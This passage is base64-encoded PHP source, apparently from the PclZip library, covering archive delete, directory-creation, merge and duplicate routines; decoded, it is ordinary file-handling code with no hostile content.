ogICAgICAgICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyAtLS0tLSBSZWFkL3dyaXRlIHRoZSBkYXRhIGJsb2NrCiAgICAgICAgICAgIGlmICgoJHZfcmVzdWx0ID0gUGNsWmlwVXRpbENvcHlCbG9jaygkdGhpcy0+emlwX2ZkLCAkdl90ZW1wX3ppcC0+emlwX2ZkLCAkdl9oZWFkZXJfbGlzdFskaV1bJ2NvbXByZXNzZWRfc2l6ZSddKSkgIT0gMSkgewogICAgICAgICAgICAgICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHppcCBmaWxlCiAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAgICAgICAgICR2X3RlbXBfemlwLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAgICAgQHVubGluaygkdl96aXBfdGVtcF9uYW1lKTsKCiAgICAgICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIFN0b3JlIHRoZSBvZmZzZXQgb2YgdGhlIGNlbnRyYWwgZGlyCiAgICAgICAgJHZfb2Zmc2V0ID0gQGZ0ZWxsKCR2X3RlbXBfemlwLT56aXBfZmQpOwoKICAgICAgICAvLyAtLS0tLSBSZS1DcmVhdGUgdGhlIENlbnRyYWwgRGlyIGZpbGVzIGhlYWRlcgogICAgICAgIGZvciAoJGk9MDsgJGk8c2l6ZW9mKCR2X2hlYWRlcl9saXN0KTsgJGkrKykgewogICAgICAgICAgICAvLyAtLS0tLSBDcmVhdGUgdGhlIGZpbGUgaGVhZGVyCiAgICAgICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHZfdGVtcF96aXAtPnByaXZXcml0ZUNlbnRyYWxGaWxlSGVhZGVyKCR2X2hlYWRlcl9saXN0WyRpXSkpICE9IDEpIHsKICAgICAgICAgICAgICAgICR2X3RlbXBfemlwLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoKICAgICAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gLS0tLS0gVHJhbnNmb3JtIHRoZSBoZWFkZXIgdG8gYSAndXNhYmxlJyBpbmZvCiAgICAgICAgICAgICR2X3RlbXBfemlwLT5wcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygkdl9oZWFkZXJfbGlzdFskaV0sICRwX3Jlc3VsdF9saXN0WyRpXSk7CiAgICAgICAgfQoKCiAgICAgICAgLy8gLS0tLS0gWmlwIGZpbGUgY29tbWVudAogICAgICAgICR2X2NvbW1lbnQgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0NPTU1FTlRdKSkgewogICAgICAgICAgJHZfY29tbWVudCA9ICRwX29wdGlvbnNbUENMWklQX09QVF9DT01NRU5UXTsKICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIENhbGN1bGF0ZSB0aGUgc2l6ZSBvZiB0aGUgY2VudHJhbCBoZWFkZXIKICAgICAgICAkdl9zaXplID0gQGZ0ZWxsKCR2X3RlbXBfemlwLT56aXBfZmQpLSR2X29mZnNldDsKCiAgICAgICAgLy8gLS0tLS0gQ3JlYXRlIHRoZSBjZW50cmFsIGRpciBmb290ZXIKICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR2X3RlbXBfemlwLT5wcml2V3JpdGVDZW50cmFsSGVhZGVyKHNpemVvZigkdl9oZWFkZXJfbGlzdCksICR2X3NpemUsICR2X29mZnNldCwgJHZfY29tbWVudCkpICE9IDEpIHsKICAgICAgICAgICAgLy8gLS0tLS0gUmVzZXQgdGhlIGZpbGUgbGlzdAogICAgICAgICAgICB1bnNldCgkdl9oZWFkZXJfbGlzdCk7CiAgICAgICAgICAgICR2X3RlbXBfemlwLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAgICAgQHVubGluaygkdl96aXBfdGVtcF9uYW1lKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gQ2xvc2UKICAgICAgICAkdl90ZW1wX3ppcC0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKCiAgICAgICAgLy8gLS0tLS0gRGVsZXRlIHRoZSB6aXAgZmlsZQogICAgICAgIC8vIFRCQyA6IEkgc2hvdWxkIHRlc3QgdGhlIHJlc3VsdCAuLi4KICAgICAgICBAdW5saW5rKCR0aGlzLT56aXBuYW1lKTsKCiAgICAgICAgLy8gLS0tLS0gUmVuYW1lIHRoZSB0ZW1wb3JhcnkgZmlsZQogICAgICAgIC8vIFRCQyA6IEkgc2hvdWxkIHRlc3QgdGhlIHJlc3VsdCAuLi4KICAgICAgICAvL0ByZW5hbWUoJHZfemlwX3RlbXBfbmFtZSwgJHRoaXMtPnppcG5hbWUpOwogICAgICAgIFBjbFppcFV0aWxSZW5hbWUoJHZfemlwX3RlbXBfbmFtZSwgJHRoaXMtPnppcG5hbWUpOwoKICAgICAgICAvLyAtLS0tLSBEZXN0cm95IHRoZSB0ZW1wb3JhcnkgYXJjaGl2ZQogICAgICAgIHVuc2V0KCR2X3RlbXBfemlwKTsKICAgIH0KCiAgICAvLyAtLS0tLSBSZW1vdmUgZXZlcnkgZmlsZXMgOiByZXNldCB0aGUgZmlsZQogICAgZWxzZSBpZiAoJHZfY2VudHJhbF9kaXJbJ2VudHJpZXMnXSAhPSAwKSB7CiAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZPcGVuRmQoJ3diJykpICE9IDEpIHsKICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2V3JpdGVDZW50cmFsSGVhZGVyKDAsIDAsIDAsICcnKSkgIT0gMSkgewogICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZEaXJDaGVjaygpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vICAgQ2hlY2sgaWYgYSBkaXJlY3RvcnkgZXhpc3RzLCBpZiBub3QgaXQgY3JlYXRlcyBpdCBhbmQgYWxsIHRoZSBwYXJlbnRzIGRpcmVjdG9yeQogIC8vICAgd2hpY2ggbWF5IGJlIHVzZWZ1bC4KICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAgICRwX2RpciA6IERpcmVjdG9yeSBwYXRoIHRvIGNoZWNrLgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vICAgIDEgOiBPSwogIC8vICAgLTEgOiBVbmFibGUgdG8gY3JlYXRlIGRpcmVjdG9yeQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkRpckNoZWNrKCRwX2RpciwgJHBfaXNfZGlyPWZhbHNlKQogIHsKICAgICR2X3Jlc3VsdCA9IDE7CgoKICAgIC8vIC0tLS0tIFJlbW92ZSB0aGUgZmluYWwgJy8nCiAgICBpZiAoKCRwX2lzX2RpcikgJiYgKHN1YnN0cigkcF9kaXIsIC0xKT09Jy8nKSkKICAgIHsKICAgICAgJHBfZGlyID0gc3Vic3RyKCRwX2RpciwgMCwgc3RybGVuKCRwX2RpciktMSk7CiAgICB9CgogICAgLy8gLS0tLS0gQ2hlY2sgdGhlIGRpcmVjdG9yeSBhdmFpbGFiaWxpdHkKICAgIGlmICgoaXNfZGlyKCRwX2RpcikpIHx8ICgkcF9kaXIgPT0gIiIpKQogICAgewogICAgICByZXR1cm4gMTsKICAgIH0KCiAgICAvLyAtLS0tLSBFeHRyYWN0IHBhcmVudCBkaXJlY3RvcnkKICAgICRwX3BhcmVudF9kaXIgPSBkaXJuYW1lKCRwX2Rpcik7CgogICAgLy8gLS0tLS0gSnVzdCBhIGNoZWNrCiAgICBpZiAoJHBfcGFyZW50X2RpciAhPSAkcF9kaXIpCiAgICB7CiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHBhcmVudCBkaXJlY3RvcnkKICAgICAgaWYgKCRwX3BhcmVudF9kaXIgIT0gIiIpCiAgICAgIHsKICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2RGlyQ2hlY2soJHBfcGFyZW50X2RpcikpICE9IDEpCiAgICAgICAgewogICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBDcmVhdGUgdGhlIGRpcmVjdG9yeQogICAgaWYgKCFAbWtkaXIoJHBfZGlyLCAwNzc3KSkKICAgIHsKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfRElSX0NSRUFURV9GQUlMLCAiVW5hYmxlIHRvIGNyZWF0ZSBkaXJlY3RvcnkgJyRwX2RpciciKTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2TWVyZ2UoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIElmICRwX2FyY2hpdmVfdG9fYWRkIGRvZXMgbm90IGV4aXN0LCB0aGUgZnVuY3Rpb24gZXhpdCB3aXRoIGEgc3VjY2VzcyByZXN1bHQuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2TWVyZ2UoJiRwX2FyY2hpdmVfdG9fYWRkKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGFyY2hpdmVfdG9fYWRkIGV4aXN0cwogICAgaWYgKCFpc19maWxlKCRwX2FyY2hpdmVfdG9fYWRkLT56aXBuYW1lKSkKICAgIHsKCiAgICAgIC8vIC0tLS0tIE5vdGhpbmcgdG8gbWVyZ2UsIHNvIG1lcmdlIGlzIGEgc3VjY2VzcwogICAgICAkdl9yZXN1bHQgPSAxOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgYXJjaGl2ZSBleGlzdHMKICAgIGlmICghaXNfZmlsZSgkdGhpcy0+emlwbmFtZSkpCiAgICB7CgogICAgICAvLyAtLS0tLSBEbyBhIGR1cGxpY2F0ZQogICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkR1cGxpY2F0ZSgkcF9hcmNoaXZlX3RvX2FkZC0+emlwbmFtZSk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBPcGVuIHRoZSB6aXAgZmlsZQogICAgaWYgKCgkdl9yZXN1bHQ9JHRoaXMtPnByaXZPcGVuRmQoJ3JiJykpICE9IDEpCiAgICB7CiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGNlbnRyYWwgZGlyZWN0b3J5IGluZm9ybWF0aW9ucwogICAgJHZfY2VudHJhbF9kaXIgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKICAgIHsKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gR28gdG8gYmVnaW5uaW5nIG9mIEZpbGUKICAgIEByZXdpbmQoJHRoaXMtPnppcF9mZCk7CgogICAgLy8gLS0tLS0gT3BlbiB0aGUgYXJjaGl2ZV90b19hZGQgZmlsZQogICAgaWYgKCgkdl9yZXN1bHQ9JHBfYXJjaGl2ZV90b19hZGQtPnByaXZPcGVuRmQoJ3JiJykpICE9IDEpCiAgICB7CiAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgY2VudHJhbCBkaXJlY3RvcnkgaW5mb3JtYXRpb25zCiAgICAkdl9jZW50cmFsX2Rpcl90b19hZGQgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkcF9hcmNoaXZlX3RvX2FkZC0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyX3RvX2FkZCkpICE9IDEpCiAgICB7CiAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAkcF9hcmNoaXZlX3RvX2FkZC0+cHJpdkNsb3NlRmQoKTsKCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gR28gdG8gYmVnaW5uaW5nIG9mIEZpbGUKICAgIEByZXdpbmQoJHBfYXJjaGl2ZV90b19hZGQtPnppcF9mZCk7CgogICAgLy8gLS0tLS0gQ3JlYXRlcyBhIHRlbXBvcmF5IGZpbGUKICAgICR2X3ppcF90ZW1wX25hbWUgPSBQQ0xaSVBfVEVNUE9SQVJZX0RJUi51bmlxaWQoJ3BjbHppcC0nKS4nLnRtcCc7CgogICAgLy8gLS0tLS0gT3BlbiB0aGUgdGVtcG9yYXJ5IGZpbGUgaW4gd3JpdGUgbW9kZQogICAgaWYgKCgkdl96aXBfdGVtcF9mZCA9IEBmb3Blbigkdl96aXBfdGVtcF9uYW1lLCAnd2InKSkgPT0gMCkKICAgIHsKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICRwX2FyY2hpdmVfdG9fYWRkLT5wcml2Q2xvc2VGZCgpOwoKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9SRUFEX09QRU5fRkFJTCwgJ1VuYWJsZSB0byBvcGVuIHRlbXBvcmFyeSBmaWxlIFwnJy4kdl96aXBfdGVtcF9uYW1lLidcJyBpbiBiaW5hcnkgd3JpdGUgbW9kZScpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIENvcHkgdGhlIGZpbGVzIGZyb20gdGhlIGFyY2hpdmUgdG8gdGhlIHRlbXBvcmFyeSBmaWxlCiAgICAvLyBUQkMgOiBIZXJlIEkgc2hvdWxkIGJldHRlciBhcHBlbmQgdGhlIGZpbGUgYW5kIGdvIGJhY2sgdG8gZXJhc2UgdGhlIGNlbnRyYWwgZGlyCiAgICAkdl9zaXplID0gJHZfY2VudHJhbF9kaXJbJ29mZnNldCddOwogICAgd2hpbGUgKCR2X3NpemUgIT0gMCkKICAgIHsKICAgICAgJHZfcmVhZF9zaXplID0gKCR2X3NpemUgPCBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFID8gJHZfc2l6ZSA6IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUpOwogICAgICAkdl9idWZmZXIgPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkdl9yZWFkX3NpemUpOwogICAgICBAZndyaXRlKCR2X3ppcF90ZW1wX2ZkLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwogICAgfQoKICAgIC8vIC0tLS0tIENvcHkgdGhlIGZpbGVzIGZyb20gdGhlIGFyY2hpdmVfdG9fYWRkIGludG8gdGhlIHRlbXBvcmFyeSBmaWxlCiAgICAkdl9zaXplID0gJHZfY2VudHJhbF9kaXJfdG9fYWRkWydvZmZzZXQnXTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gZnJlYWQoJHBfYXJjaGl2ZV90b19hZGQtPnppcF9mZCwgJHZfcmVhZF9zaXplKTsKICAgICAgQGZ3cml0ZSgkdl96aXBfdGVtcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgIH0KCiAgICAvLyAtLS0tLSBTdG9yZSB0aGUgb2Zmc2V0IG9mIHRoZSBjZW50cmFsIGRpcgogICAgJHZfb2Zmc2V0ID0gQGZ0ZWxsKCR2X3ppcF90ZW1wX2ZkKTsKCiAgICAvLyAtLS0tLSBDb3B5IHRoZSBibG9jayBvZiBmaWxlIGhlYWRlcnMgZnJvbSB0aGUgb2xkIGFyY2hpdmUKICAgICR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnc2l6ZSddOwogICAgd2hpbGUgKCR2X3NpemUgIT0gMCkKICAgIHsKICAgICAgJHZfcmVhZF9zaXplID0gKCR2X3NpemUgPCBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFID8gJHZfc2l6ZSA6IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUpOwogICAgICAkdl9idWZmZXIgPSBAZnJlYWQoJHRoaXMtPnppcF9mZCwgJHZfcmVhZF9zaXplKTsKICAgICAgQGZ3cml0ZSgkdl96aXBfdGVtcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgIH0KCiAgICAvLyAtLS0tLSBDb3B5IHRoZSBibG9jayBvZiBmaWxlIGhlYWRlcnMgZnJvbSB0aGUgYXJjaGl2ZV90b19hZGQKICAgICR2X3NpemUgPSAkdl9jZW50cmFsX2Rpcl90b19hZGRbJ3NpemUnXTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCRwX2FyY2hpdmVfdG9fYWRkLT56aXBfZmQsICR2X3JlYWRfc2l6ZSk7CiAgICAgIEBmd3JpdGUoJHZfemlwX3RlbXBfZmQsICR2X2J1ZmZlciwgJHZfcmVhZF9zaXplKTsKICAgICAgJHZfc2l6ZSAtPSAkdl9yZWFkX3NpemU7CiAgICB9CgogICAgLy8gLS0tLS0gTWVyZ2UgdGhlIGZpbGUgY29tbWVudHMKICAgICR2X2NvbW1lbnQgPSAkdl9jZW50cmFsX2RpclsnY29tbWVudCddLicgJy4kdl9jZW50cmFsX2Rpcl90b19hZGRbJ2NvbW1lbnQnXTsKCiAgICAvLyAtLS0tLSBDYWxjdWxhdGUgdGhlIHNpemUgb2YgdGhlIChuZXcpIGNlbnRyYWwgaGVhZGVyCiAgICAkdl9zaXplID0gQGZ0ZWxsKCR2X3ppcF90ZW1wX2ZkKS0kdl9vZmZzZXQ7CgogICAgLy8gLS0tLS0gU3dhcCB0aGUgZmlsZSBkZXNjcmlwdG9yCiAgICAvLyBIZXJlIGlzIGEgdHJpY2sgOiBJIHN3YXAgdGhlIHRlbXBvcmFyeSBmZCB3aXRoIHRoZSB6aXAgZmQsIGluIG9yZGVyIHRvIHVzZQogICAgLy8gdGhlIGZvbGxvd2luZyBtZXRob2RzIG9uIHRoZSB0ZW1wb3JhcnkgZmlsIGFuZCBub3QgdGhlIHJlYWwgYXJjaGl2ZSBmZAogICAgJHZfc3dhcCA9ICR0aGlzLT56aXBfZmQ7CiAgICAkdGhpcy0+emlwX2ZkID0gJHZfemlwX3RlbXBfZmQ7CiAgICAkdl96aXBfdGVtcF9mZCA9ICR2X3N3YXA7CgogICAgLy8gLS0tLS0gQ3JlYXRlIHRoZSBjZW50cmFsIGRpciBmb290ZXIKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZXcml0ZUNlbnRyYWxIZWFkZXIoJHZfY2VudHJhbF9kaXJbJ2VudHJpZXMnXSskdl9jZW50cmFsX2Rpcl90b19hZGRbJ2VudHJpZXMnXSwgJHZfc2l6ZSwgJHZfb2Zmc2V0LCAkdl9jb21tZW50KSkgIT0gMSkKICAgIHsKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICRwX2FyY2hpdmVfdG9fYWRkLT5wcml2Q2xvc2VGZCgpOwogICAgICBAZmNsb3NlKCR2X3ppcF90ZW1wX2ZkKTsKICAgICAgJHRoaXMtPnppcF9mZCA9IG51bGw7CgogICAgICAvLyAtLS0tLSBSZXNldCB0aGUgZmlsZSBsaXN0CiAgICAgIHVuc2V0KCR2X2hlYWRlcl9saXN0KTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIFN3YXAgYmFjayB0aGUgZmlsZSBkZXNjcmlwdG9yCiAgICAkdl9zd2FwID0gJHRoaXMtPnppcF9mZDsKICAgICR0aGlzLT56aXBfZmQgPSAkdl96aXBfdGVtcF9mZDsKICAgICR2X3ppcF90ZW1wX2ZkID0gJHZfc3dhcDsKCiAgICAvLyAtLS0tLSBDbG9zZQogICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAkcF9hcmNoaXZlX3RvX2FkZC0+cHJpdkNsb3NlRmQoKTsKCiAgICAvLyAtLS0tLSBDbG9zZSB0aGUgdGVtcG9yYXJ5IGZpbGUKICAgIEBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwoKICAgIC8vIC0tLS0tIERlbGV0ZSB0aGUgemlwIGZpbGUKICAgIC8vIFRCQyA6IEkgc2hvdWxkIHRlc3QgdGhlIHJlc3VsdCAuLi4KICAgIEB1bmxpbmsoJHRoaXMtPnppcG5hbWUpOwoKICAgIC8vIC0tLS0tIFJlbmFtZSB0aGUgdGVtcG9yYXJ5IGZpbGUKICAgIC8vIFRCQyA6IEkgc2hvdWxkIHRlc3QgdGhlIHJlc3VsdCAuLi4KICAgIC8vQHJlbmFtZSgkdl96aXBfdGVtcF9uYW1lLCAkdGhpcy0+emlwbmFtZSk7CiAgICBQY2xaaXBVdGlsUmVuYW1lKCR2X3ppcF90ZW1wX25hbWUsICR0aGlzLT56aXBuYW1lKTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RHVwbGljYXRlKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2RHVwbGljYXRlKCRwX2FyY2hpdmVfZmlsZW5hbWUpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgJHBfYXJjaGl2ZV9maWxlbmFtZSBleGlzdHMKICAgIGlmICghaXNfZmlsZSgkcF9hcmNoaXZlX2ZpbGVuYW1lKSkKICAgIHsKCiAgICAgIC8vIC0tLS0tIE5vdGhpbmcgdG8gZHVwbGljYXRlLCBzbyBkdXBsaWNhdGUgaXMgYSBzdWNjZXNzLgogICAgICAkdl9yZXN1bHQgPSAxOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gT3BlbiB0aGUgemlwIGZpbGUKICAgIGlmICgoJHZfcmVzdWx0PSR0aGlzLT5wcml2T3BlbkZkKCd3YicpKSAhPSAxKQogICAgewogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBPcGVuIHRoZSB0ZW1wb3JhcnkgZmlsZSBpbiB3cml0ZSBtb2RlCiAgICBpZiAoKCR2X3ppcF90ZW1wX2ZkID0gQGZvcGVuKCRwX2FyY2hpdmVfZmlsZW5hbWUsICdyYicpKSA9PSAwKQogICAgewogICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiBhcmNoaXZlIGZpbGUgXCcnLiRwX2FyY2hpdmVfZmlsZW5hbWUuJ1wnIGluIGJpbmFyeSB3cml0ZSBtb2RlJyk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gQ29weSB0aGUgZmlsZXMgZnJvbSB0aGUgYXJjaGl2ZSB0byB0aGUgdGVtcG9yYXJ5IGZpbGUKICAgIC8vIFRCQyA6IEhlcmUgSSBzaG91bGQgYmV0dGVyIGFwcGVuZCB0aGUgZmlsZSBhbmQgZ28gYmFjayB0byBlcmFzZSB0aGUgY2VudHJhbCBkaXIKICAgICR2X3NpemUgPSBmaWxlc2l6ZSgkcF9hcmNoaXZlX2ZpbGVuYW1lKTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gZnJlYWQoJHZfemlwX3RlbXBfZmQsICR2X3JlYWRfc2l6ZSk7CiAgICAgIEBmd3JpdGUoJHRoaXMtPnppcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgIH0KCiAgICAvLyAtLS0tLSBDbG9zZQogICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHRlbXBvcmFyeSBmaWxlCiAgICBAZmNsb3NlKCR2X3ppcF90ZW1wX2ZkKTsKCiAgICAvLyAtLS0tLSBSZXR1cm4K